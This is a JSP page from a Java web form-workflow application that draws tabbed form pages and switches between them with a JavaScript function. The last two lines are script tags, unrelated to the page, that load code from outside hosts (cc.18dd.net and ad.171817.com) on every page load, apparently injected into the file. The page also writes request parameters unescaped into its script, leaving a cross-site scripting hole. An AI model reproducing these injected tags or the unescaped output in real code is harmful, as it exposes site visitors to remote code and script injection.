<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.core.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="java.util.*"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>


  
<%
 List formPageList = (List)request.getAttribute("formPageListName"); 

 String prefixPageHeadDiv = request.getParameter("prefixPageHeadDiv");
 String prefixPageContentDiv = request.getParameter("prefixPageContentDiv");
 String isPreview = request.getParameter("isPreview");
 String opMode = request.getParameter("opMode");
 String formRecordID = request.getParameter("formRecordID");

 Integer workflowStepID = new Integer(request.getParameter("workflowStepID"));
 String pageIDStr = "";
 String url = "";
 boolean sViewPageNo = true;  
 boolean hasPermission = false;
 //check label permission.
 java.sql.Connection dbConn = (java.sql.Connection)request.getAttribute(com.dcivision.framework.GlobalConstant.DB_KEY);
 FormSubmissionManager formSubmissionManager =  new FormSubmissionManager(sessionContainer,dbConn);
 boolean isViewUserStep = false;
 boolean isShowWholeForm = "true".equals(request.getParameter("isShowWholeForm")) ? true : false;
 // if view step, then display edited elements.    
 if (!Utility.isEmpty(request.getParameter("isViewUserStep")) && "true".equals(request.getParameter("isViewUserStep"))){
   isViewUserStep = true;
 }
//if (formPageList.size()>1){
%>
 <table width="95%" cellspacing="0" cellpadding="0" border="0">
   <tr>
        <%int tabWidth = 150,limitLength = 10;
          for (int i=0; i<formPageList.size(); i++) {
            hasPermission = false;
            FormPage tempFormPage = (FormPage) formPageList.get(i);     
            String showHidePageID = tempFormPage.getID().toString();    
            String sPermission = tempFormPage.getFormRecordPermission();    
               
         //   if (!Utility.isEmpty(sPermission)){
         //     hasPermission = true;
         //   }
            
            if (!hasPermission){
              hasPermission = formSubmissionManager.getFormPagePermissionByRecordPageIDStepID(new Integer(formRecordID),tempFormPage.getID(),workflowStepID,isViewUserStep);
            }
            
            if ((!SystemFunctionConstant.FORM_SUBMISSION.equals((String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)))&&!hasPermission && !isShowWholeForm){continue;}
            if (!"H".equals(tempFormPage.getPermission()) || isShowWholeForm) {
              if(!Utility.isEmpty(pageIDStr) && i>0){
                pageIDStr += "|"; 
              } 
              pageIDStr += showHidePageID;                  
              if (formPageList.size()>4){
                tabWidth = 660/formPageList.size();
                limitLength = 2+18/formPageList.size();
              }
        %>
        <td width="<%=tabWidth%>">
         <table width="<%=tabWidth%>"  height="22" border="0" cellpadding="0" cellspacing="0" style="cursor:hand;" title="<%=tempFormPage.getTitle()%>" <%if (!GlobalConstant.OP_MODE_DELETE.equals(opMode)){%> onclick="showFormTab('<%=showHidePageID%>');return false" <%}%> >          
          <tr>
           <td width="5"><html:img src="LayoutWhiteTabLeft.gif" /></td>
           <td id='<%="pageHeadID"+tempFormPage.getID()%>' width="<%=tabWidth-10%>" align="center" valign="middle" background="<html:img src='LayoutWhiteTabBg.gif'  pathOnly='true'/>" style="font-family:Arial;font-weight:bold;font-size:12px" ><html:summarizeContent key="<%=tempFormPage.getTitle()%>" limitLength="<%=limitLength%>" /> </td>
           <td width="5"><html:img src="LayoutWhiteTabRight.gif" /></td>
          </tr>       
         </table>
        </td>       
        <%  
          }}
        %>
        <td height="22" colspan="5">&nbsp;</td>        
        <td>
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <layout:sectionHeader blackLine="false"/>
      </table>
    </td>
  </tr>
 </table>

<%//}%>
<script language="JavaScript">
<!--
 function showFormTab(tabName){
   var pageIDs;      
   pageIDs = "<%=pageIDStr%>";     
   var pageIDArr = pageIDs.split("|");

   for (var i=0; i<pageIDArr.length; i++) {
     if(tabName == pageIDArr[i]){
       if(FindObj("<%=prefixPageHeadDiv%>"+tabName)){
         FindObj("<%=prefixPageHeadDiv%>"+tabName).style.display = "";
         FindObj("<%=prefixPageContentDiv%>"+tabName).style.display = "";  
         document.getElementById(FindObj("pageHeadID"+tabName).id).style.color ="#0000AA"; 
       }            
     } else {
       if(FindObj("<%=prefixPageHeadDiv%>"+pageIDArr[i])){
         FindObj("<%=prefixPageHeadDiv%>"+pageIDArr[i]).style.display = "none";
         FindObj("<%=prefixPageContentDiv%>"+pageIDArr[i]).style.display = "none";
         document.getElementById(FindObj("pageHeadID"+pageIDArr[i]).id).style.color ="#000000";       
       }
     }  
   }
 }
 

-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>